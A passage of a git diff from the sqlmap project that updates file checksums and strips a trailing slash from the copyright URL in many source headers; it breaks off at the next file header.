-c10f1a4c0fa268d252736cdf4b3bb258ee5d12263feb102149e481b2a26efb12 tamper/space2comment.py -928cee298ca2b6d055fc6b7e7fc7bcf3313581bf0dd9f5b319c16d5914a991ee tamper/space2dash.py -63e1b03a8768668a52a2a166eb07c27613253b5e3143cc0ce6afe4f844822a3f tamper/space2hash.py -6485e6c76e82be84801c1ff8a1a0bdc3654c434c1f6a95c45fb53efe94fc6c02 tamper/space2morecomment.py -757f554f9541aee3ae09b40dcb26d258584877b4d01bad4ee485afc67b1ae12a tamper/space2morehash.py -9584b0341fb6528fdbe3fe14e34b0c4dcd3d589bd5c2f8a68715ba5b20dbf286 tamper/space2mssqlblank.py -4da39437e518e02c85b4de57447cb845356167909a256a476e63ec3faebbf26d tamper/space2mssqlhash.py -e49d8501e09806ab2b8019c6e0864003cb538f43d1de5a09415d915c827db7b7 tamper/space2mysqlblank.py -015284f173c8ba54f347a3ce5d6205092ba8aed811a45077aa69ce6ce52b1ad9 tamper/space2mysqldash.py -92797c4dd9a2e41c9738f9fa51575958dbd178053a1166a890ace6e719f50fe7 tamper/space2plus.py -e025cdcc48a1915352b0e112f2f5511beccb3f278860b35c4d07038c509fd0a5 tamper/space2randomblank.py -85ba64cf231a4fa36e1550f6575fe10fd8aa6cf084f92a5e8cea60378e96cabf tamper/sp_password.py -30c211a5c33209dd36f44f3d7a9bb1c8002ba1b1d18e74f0ba606c9838b1be09 tamper/substring2leftright.py -0a8c5dfbcc2dd28544edbd0a40286407fb724edbaa5dcad6c646c465bccf103d tamper/symboliclogical.py -a941abd9d03a66ad796252bbc7c70bdafa5a0203ce66865bec48dc77a3cb8724 tamper/unionalltounion.py -beddd06210ecc68cc096d42c33fc502d7bb9c040c84952340a8eb1a42b592968 tamper/unmagicquotes.py -b2c220604ebf4f71e563f6b6b564fdb85b045af8fce681411a931e49556b569e tamper/uppercase.py -47a5fe04e53d7c126d6b56139a1e6053c41c7e3a0d9e2b9dbc4b93573099a10a tamper/varnish.py -2c9ad34f8a8a78ed2f10bf39985197fdfd7df12ebc364a5b32276170bc5f6f05 tamper/versionedkeywords.py -6780c120d8099283cb26120f8d42e1ced63d89401a31e8163cc7954634706043 tamper/versionedmorekeywords.py -672e949a0d63a01a6b13a6211fa9b9a9bc365f9f2688acd2ece4c20dfc031025 tamper/xforwardedfor.py +5f84b71134c9b1135b92767499a37c8ce2c39b2046facfdce16bb6a4dd455894 sqlmap.py +82caac95182ac5cae02eb7d8a2dc07e71389aeae6b838d3d3f402c9597eb086a tamper/0eunion.py +bc8f5e638578919e4e75a5b01a84b47456bac0fd540e600975a52408a3433460 tamper/apostrophemask.py +c9c3d71f11de0140906d7b4f24fadb9926dc8eaf5adab864f8106275f05526ce tamper/apostrophenullencode.py +fa18d565b7b6b1000942414d65aea762b20632079ed3e1a96fe1005f81fccf07 tamper/appendnullbyte.py +627573bd838cba4c0b688b401ecbc11a15969bd6ded0d2d7e838d622ffe40b99 tamper/base64encode.py +5714dddccd9a94238e58737f8b2ee1a272100037a8360342080f865cc7aa3a4d tamper/between.py +e8964badea5a1026da0e67e2b810297e4d2e45c64aee5192d2c5979feae93e69 tamper/binary.py +6dce750c7eb79ddc8743d44233045e7804a4191c9523614e8ee187f1696bb655 tamper/bluecoat.py +4186cf796e0b62c6de81902c33139abd9091725567f49b0f198a1f890f3b9d82 tamper/chardoubleencode.py +71077c3a28ba68d91baa538e08ca3ba55107f607618269261a0dc0858918b236 tamper/charencode.py +60ba0b3d985394a962daa097faa31afb80d5ba93dbd495104a519559386c7350 tamper/charunicodeencode.py +5ec4038bd71c806b903086ad1e099f72c319c7a3b31c4cdf91c97d1fb9d0bdd7 tamper/charunicodeescape.py +9ad1ee5f134e0fa4f3b16b3622e66f212ffd658b099ef75eaaa96d7a63c2fc2e tamper/commalesslimit.py +b28bbe837dc70b935143650d907832038aaec19595a93de96d68131c830e2490 tamper/commalessmid.py +b94713ce6a47d810dd699a480e14e0fd6e6095778d74e5a69e867440ddb1ce66 tamper/commentbeforeparentheses.py +beb5d4129badba301e0cad26652b05af9220921fd99e72c8d5789c2f75c7f171 tamper/concat2concatws.py +cd86b89c63932b7ce204cd80c6d0141ac4bb564b8ea5d1b9eb24a8407431f50f tamper/decentities.py +252a97217f6d3ddd227a1e997cd30f8e0fdc21e235e23307e2bdee96a110c4c6 tamper/dunion.py +853de839258e9137b252fb61429e7353ea9f8b555d050244333836bd99981324 tamper/equaltolike.py +a50b70dd62ee00896c46581d81b1b51bedcec303cb5df2f6c6d98c2817608650 tamper/equaltorlike.py +89803e274257d906e7472a91e60ea0fd0fb4a846eb68dd66b73d298a81a88ee1 tamper/escapequotes.py +e65a98f6b043401fc0b37c821ef9a459e476df33f9dc885756f08c711b4045a1 tamper/greatest.py +a7c656e8a2e09541f435931266c6c9fb20b0cf868f70fb77bff0402e73150a56 tamper/halfversionedmorekeywords.py +af421c0f873e76c2f7182310066d16c7bf14bdda0e79b0eb3cf07be0eca234ed tamper/hex2char.py +4e5d509fb552f92b70f48346df07987ebd7380f92b419d5316b72d07a172b037 tamper/hexentities.py +ae95bef04799cd112e81e8527b88669092996243ce161df85ded36fcda188ae6 tamper/htmlencode.py +fa34e56b7b6578a4611973f273dabac7532672188f2b14a5a68504abb4873d40 tamper/if2case.py +392f14be8826c59cbace4f4ef4e02f3b4c9fa85892aa2c33b8bf9ec8bb67bda5 tamper/ifnull2casewhenisnull.py +3a4679f864cffab5f0d0b60a0d0ffdba4adfaba489c07f019d83e0d911dedd1e tamper/ifnull2ifisnull.py +d22f2208649ffc72e2a80f464eacbe35157e1ebebe7889ae9aea3748116a96b7 tamper/informationschemacomment.py +4608f21a4333c162ab3c266c903fda4793cc5834de30d06affe9b7566dd09811 tamper/__init__.py +5fb731d9c0340bd97bc6f647325cf624e7387ae44ce5920ae14c47d007ceb7ea tamper/least.py +a108d0943a17e5e9d3e256ed58a9e1a15327286c6d5a63bf6aad276fb28216ef tamper/lowercase.py +19a1ef76b21931a5e688771a341dc46325129414badc0fbf8c6e35fcce2bd7c0 tamper/luanginxmore.py +f85b74c64441d038198da6b569c050aafd3a0575504c6d0d07d09cdca663692a tamper/luanginx.py +2f1819436c68d2bbb69380508becf8660bddc2cab9349d30c46b0ab727ba7dec tamper/misunion.py +6a2d6cf5d7dc6eb838d0ea8a8e5748db14dd8a415fad0994ab0f05bfe87ed5a5 tamper/modsecurityversioned.py +712a2f7a8f68d16bc77a5e8772098f168207a6815b71a027c2f241655d616102 tamper/modsecurityzeroversioned.py +458fbf5ae865f3b3de237790de1f7045a820d409649a244c8cc2402fa9582c21 tamper/multiplespaces.py +d8e049d1c0b4273bb6cee844767503a60f97301a7041e5c8b51cb0557c413d28 tamper/ord2ascii.py +cf7a99f5a4d6df30b1b8c0df55eb6e950077ec14b31062dd21d2c2d924d58d74 tamper/overlongutf8more.py +381b5fc6fdda0cd287dd6bf2d098c318fab8f42f5ae3ec4e774e864bf57fd51d tamper/overlongutf8.py +965636cef15f4b5d1ce2d802e1be8b51025ee95f96b58ae0131340945e9c7026 tamper/percentage.py +97b6c357c42308fa76d93d271824e53f436fceb33f9a7e74acc8b91da3abb7f4 tamper/plus2concat.py +d49fd12b78fb6f38c4a31c9c7badaf11f65600127783ebb4e941ab0ed2284489 tamper/plus2fnconcat.py +2edf00005991d6546c0ddcab103451ae9425c177bc5519d16b2a78e3e308ec71 tamper/randomcase.py +3259e9189a5d3c2ab476653bc65e45dc481f7541d2688cc8041281ce57205681 tamper/randomcomments.py +8abd8df65c852011a73ffe69febce52f2d383cdb947a70de0ddb2a0f1272e6f6 tamper/schemasplit.py +fc90359a31849c890399f146e5f26edf78f6729cabe022cc49748835a870c16c tamper/scientific.py +387236175825c1651bbf353e7a5553417da9898e60c6e32b302c214ca4ac583f tamper/sleep2getlock.py +8de7553f15e7ecee5f0da426829dcd73397889645cb43fc9c47d9e5f122c9524 tamper/space2comment.py +a958305e53d9ca98014918c415d0671e46ca45c6a32762c379e96ab946e75db0 tamper/space2dash.py +3e99a94e0712906558e346b97d3fdad4e9b349b58f7273e6f9340333774eb71a tamper/space2hash.py +f5eb72cc564abba171a881fd8b8335bc19efc8333396575db8f18ce0ca8d1e9f tamper/space2morecomment.py +2b6ec63af32b6a71c5de288e1d507d49513b9690a9c0c79b85e13aba1caabf23 tamper/space2morehash.py +e434ba59a2a68c273a407d99762bf71d08f3b5876efacc9ef1c06d655d5fa7bb tamper/space2mssqlblank.py +0795280f1264b9d2a92ea1017a30c3299fac00403ab35f8110fca173bfdee206 tamper/space2mssqlhash.py +26faeb39842c3770d0f59d871325eb9a59ea29e5f43cfab2872edc7a947a3d73 tamper/space2mysqlblank.py +50365aa886349a268ce39820af2b68d2b119bbfca53e97dbdbadb7296f8f4ce6 tamper/space2mysqldash.py +e5a8d49f6985e27d2d0aebf1227a1d22dea11a4852ccf6ab7fa5e9c84c79a88c tamper/space2plus.py +c8debf71c17719ea4f3c2f07596fcf3f9972f9b4ef70ae25893a1bd5bed8655c tamper/space2randomblank.py +409214cfca98144ce28805ab65ff365189e398e9e9eabb709d1bc00ae7eb36c9 tamper/sp_password.py +de34e24d47e84a0079665ff0253fdafac3d7b1444ae6429735fce1cecaba54c7 tamper/substring2leftright.py +0b50c760a4c08d547a8f86234d9f40bfeb0311d81f342ab08c8a9c0f1cdf2e85 tamper/symboliclogical.py +5a56f752f1276a4f60b442d7e13aa55d58f71dcc0113a1a849831a9b658cab20 tamper/unionalltounion.py +a096122382135668beb66eecf266b77e616695021ee973d0301afe1098fd3ecd tamper/unmagicquotes.py +c48f6dc142fbf062254494e4c41b62852f26095f10d01be85140d5fd836d98d3 tamper/uppercase.py +b88ff93aeb9da9c4c056c6df94e94b798a860ce01846ae2a01962edf9f3ff794 tamper/varnish.py +1219349c2c9fafa21e36dce8bdb5f0be52bd0b6e3d8af6233fe571239543c46b tamper/versionedkeywords.py +6a006674d9e5dba780f6a81897e762b7da36dc259bf3775d392a562574cae7b5 tamper/versionedmorekeywords.py +40c03cf396bc5a090b04f7588b9012ce4de29fc0eceb0ef5e0f7e687d5d11c08 tamper/xforwardedfor.py 55eaefc664bd8598329d535370612351ec8443c52465f0a37172ea46a97c458a thirdparty/ansistrm/ansistrm.py e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/ansistrm/__init__.py dfb8a36f58a3ae72c34d6a350830857c88ff8938fe256af585d5c9c63040c5b2 thirdparty/beautifulsoup/beautifulsoup.py @@ -622,7 +622,7 @@ d1d54fc08f80148a4e2ac5eee84c8475617e8c18bfbde0dfe6894c0f868e4659 thirdparty/pyd c51c91f703d3d4b3696c923cb5fec213e05e75d9215393befac7f2fa6a3904df thirdparty/six/__init__.py e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/socks/__init__.py 7027e214e014eb78b7adcc1ceda5aca713a79fc4f6a0c52c9da5b3e707e6ffe9 thirdparty/socks/LICENSE -543217f63a4f0a7e7b4f9063058d2173099d54d010a6a4432e15a97f76456520 thirdparty/socks/socks.py +57dba7460c09b7922df68b981e824135f1a6306180ba4c107b626e3232513eff thirdparty/socks/socks.py e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/termcolor/__init__.py b14474d467c70f5fe6cb8ed624f79d881c04fe6aeb7d406455da624fe8b3c0df thirdparty/termcolor/termcolor.py 4db695470f664b0d7cd5e6b9f3c94c8d811c4c550f37f17ed7bdab61bc3bdefc thirdparty/wininetpton/__init__.py diff --git a/data/txt/user-agents.txt b/data/txt/user-agents.txt index 5b685bdb905..c65829aa646 100644 --- a/data/txt/user-agents.txt +++ b/data/txt/user-agents.txt @@ -1,4 +1,4 @@ -# Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +# Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) # See the file 'LICENSE' for copying permission # Opera diff --git a/extra/__init__.py b/extra/__init__.py index b25b2fb8ba4..ba25c56a216 100644 --- a/extra/__init__.py +++ b/extra/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/extra/beep/__init__.py b/extra/beep/__init__.py index b25b2fb8ba4..ba25c56a216 100644 --- a/extra/beep/__init__.py +++ b/extra/beep/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/extra/beep/beep.py b/extra/beep/beep.py index 4e1cbedf306..b6f8f97cf82 100644 --- a/extra/beep/beep.py +++ b/extra/beep/beep.py @@ -3,7 +3,7 @@ """ beep.py - Make a beep sound -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/extra/cloak/__init__.py b/extra/cloak/__init__.py index b25b2fb8ba4..ba25c56a216 100644 --- a/extra/cloak/__init__.py +++ b/extra/cloak/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/extra/cloak/cloak.py b/extra/cloak/cloak.py index a77f17a9c6d..cce563973c5 100644 --- a/extra/cloak/cloak.py +++ b/extra/cloak/cloak.py @@ -3,7 +3,7 @@ """ cloak.py - Simple file encryption/compression utility -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/extra/dbgtool/__init__.py b/extra/dbgtool/__init__.py index b25b2fb8ba4..ba25c56a216 100644 --- a/extra/dbgtool/__init__.py +++ b/extra/dbgtool/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/extra/dbgtool/dbgtool.py b/extra/dbgtool/dbgtool.py index dfe58bd1bb1..d8f93d41ff1 100644 --- a/extra/dbgtool/dbgtool.py +++ b/extra/dbgtool/dbgtool.py @@ -3,7 +3,7 @@ """ dbgtool.py - Portable executable to ASCII debug script converter -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/extra/shutils/blanks.sh b/extra/shutils/blanks.sh index 78e1e0b7881..147333b29ec 100755 --- a/extra/shutils/blanks.sh +++ b/extra/shutils/blanks.sh @@ -1,6 +1,6 @@ #!/bin/bash -# Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +# Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) # See the file 'LICENSE' for copying permission # Removes trailing spaces from blank lines inside project files diff --git a/extra/shutils/drei.sh b/extra/shutils/drei.sh index 25245b2573f..99bccf5c8d7 100755 --- a/extra/shutils/drei.sh +++ b/extra/shutils/drei.sh @@ -1,6 +1,6 @@ #!/bin/bash -# Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +# Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) # See the file 'LICENSE' for copying permission # Stress test against Python3 diff --git a/extra/shutils/duplicates.py b/extra/shutils/duplicates.py index 2177e3dba56..ac3caf88dee 100755 --- a/extra/shutils/duplicates.py +++ b/extra/shutils/duplicates.py @@ -1,6 +1,6 @@ #!/usr/bin/env python -# Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +# Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) # See the file 'LICENSE' for copying permission # Removes duplicate entries in wordlist like files diff --git a/extra/shutils/junk.sh b/extra/shutils/junk.sh index 32431396f8b..61365a754c1 100755 --- a/extra/shutils/junk.sh +++ b/extra/shutils/junk.sh @@ -1,6 +1,6 @@ #!/bin/bash -# Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +# Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) # See the file 'LICENSE' for copying permission find . -type d -name "__pycache__" -exec rm -rf {} \; &>/dev/null diff --git a/extra/shutils/pycodestyle.sh b/extra/shutils/pycodestyle.sh index edb74c5cde1..2302268e4c1 100755 --- a/extra/shutils/pycodestyle.sh +++ b/extra/shutils/pycodestyle.sh @@ -1,6 +1,6 @@ #!/bin/bash -# Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +# Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) # See the file 'LICENSE' for copying permission # Runs pycodestyle on all python files (prerequisite: pip install pycodestyle) diff --git a/extra/shutils/pydiatra.sh b/extra/shutils/pydiatra.sh index 1a8b58ac217..75c19607709 100755 --- a/extra/shutils/pydiatra.sh +++ b/extra/shutils/pydiatra.sh @@ -1,6 +1,6 @@ #!/bin/bash -# Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +# Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) # See the file 'LICENSE' for copying permission # Runs py3diatra on all python files (prerequisite: pip install pydiatra) diff --git a/extra/shutils/pyflakes.sh b/extra/shutils/pyflakes.sh index c90c9549f6c..d8649cff130 100755 --- a/extra/shutils/pyflakes.sh +++ b/extra/shutils/pyflakes.sh @@ -1,6 +1,6 @@ #!/bin/bash -# Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +# Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) # See the file 'LICENSE' for copying permission # Runs pyflakes on all python files (prerequisite: apt-get install pyflakes) diff --git a/extra/shutils/pypi.sh b/extra/shutils/pypi.sh index 900681b6262..896985c9126 100755 --- a/extra/shutils/pypi.sh +++ b/extra/shutils/pypi.sh @@ -16,7 +16,7 @@ cat > $TMP_DIR/setup.py << EOF #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -68,7 +68,7 @@ cat > sqlmap/__init__.py << EOF #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/extra/vulnserver/__init__.py b/extra/vulnserver/__init__.py index b25b2fb8ba4..ba25c56a216 100644 --- a/extra/vulnserver/__init__.py +++ b/extra/vulnserver/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/extra/vulnserver/vulnserver.py b/extra/vulnserver/vulnserver.py index bf0b33cfaa0..f5d9f77ab01 100644 --- a/extra/vulnserver/vulnserver.py +++ b/extra/vulnserver/vulnserver.py @@ -3,7 +3,7 @@ """ vulnserver.py - Trivial SQLi vulnerable HTTP server (Note: for testing purposes) -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/__init__.py b/lib/__init__.py index b25b2fb8ba4..ba25c56a216 100644 --- a/lib/__init__.py +++ b/lib/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/controller/__init__.py b/lib/controller/__init__.py index b25b2fb8ba4..ba25c56a216 100644 --- a/lib/controller/__init__.py +++ b/lib/controller/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/controller/action.py b/lib/controller/action.py index dc05152c069..434c33ed215 100644 --- a/lib/controller/action.py +++ b/lib/controller/action.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 18560b9183d..06bf5d8b69b 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/controller/controller.py b/lib/controller/controller.py index 92cf28ed558..2e8d1b9d34e 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/controller/handler.py b/lib/controller/handler.py index bcbedbac6f1..9d69be5a107 100644 --- a/lib/controller/handler.py +++ b/lib/controller/handler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/__init__.py b/lib/core/__init__.py index b25b2fb8ba4..ba25c56a216 100644 --- a/lib/core/__init__.py +++ b/lib/core/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/agent.py b/lib/core/agent.py index f708dfee352..a9034f744c8 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/bigarray.py b/lib/core/bigarray.py index 7a6ca724f53..567098dfac6 100644 --- a/lib/core/bigarray.py +++ b/lib/core/bigarray.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/common.py b/lib/core/common.py index 7aa8570a543..d54dd1b8c3e 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/compat.py b/lib/core/compat.py index 4f50ca1e27d..7020f85c01e 100644 --- a/lib/core/compat.py +++ b/lib/core/compat.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/convert.py b/lib/core/convert.py index 7540715ed08..08594cdcfb6 100644 --- a/lib/core/convert.py +++ b/lib/core/convert.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/data.py b/lib/core/data.py index 9f06ca2b526..5b46facd058 100644 --- a/lib/core/data.py +++ b/lib/core/data.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/datatype.py b/lib/core/datatype.py index e2957d38b91..159380e76c9 100644 --- a/lib/core/datatype.py +++ b/lib/core/datatype.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/decorators.py b/lib/core/decorators.py index 36d3ac73855..cf68b1f4776 100644 --- a/lib/core/decorators.py +++ b/lib/core/decorators.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/defaults.py b/lib/core/defaults.py index eb088dd5311..95762916124 100644 --- a/lib/core/defaults.py +++ b/lib/core/defaults.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/dicts.py b/lib/core/dicts.py index a037e1bf3ab..c4043381cf8 100644 --- a/lib/core/dicts.py +++ b/lib/core/dicts.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/dump.py b/lib/core/dump.py index 3c65bf2d254..7b8fec61a19 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/enums.py b/lib/core/enums.py index a5ed9fef65e..7b096aefc8a 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/exception.py b/lib/core/exception.py index 14a4c65ea52..3d4d97986c7 100644 --- a/lib/core/exception.py +++ b/lib/core/exception.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/gui.py b/lib/core/gui.py index 10b83f37001..024918a3457 100644 --- a/lib/core/gui.py +++ b/lib/core/gui.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/log.py b/lib/core/log.py index c45a1182bc1..0d729fc9c20 100644 --- a/lib/core/log.py +++ b/lib/core/log.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/option.py b/lib/core/option.py index 87b7d36d2e6..52b2f5e5c5f 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index 8bd59e222fd..14ad4470097 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/patch.py b/lib/core/patch.py index ce0d7cd223d..2d29fb6ea35 100644 --- a/lib/core/patch.py +++ b/lib/core/patch.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/profiling.py b/lib/core/profiling.py index 806224c3571..1219cb12294 100644 --- a/lib/core/profiling.py +++ b/lib/core/profiling.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/readlineng.py b/lib/core/readlineng.py index 8092279bf95..b2ba5f02129 100644 --- a/lib/core/readlineng.py +++ b/lib/core/readlineng.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/replication.py 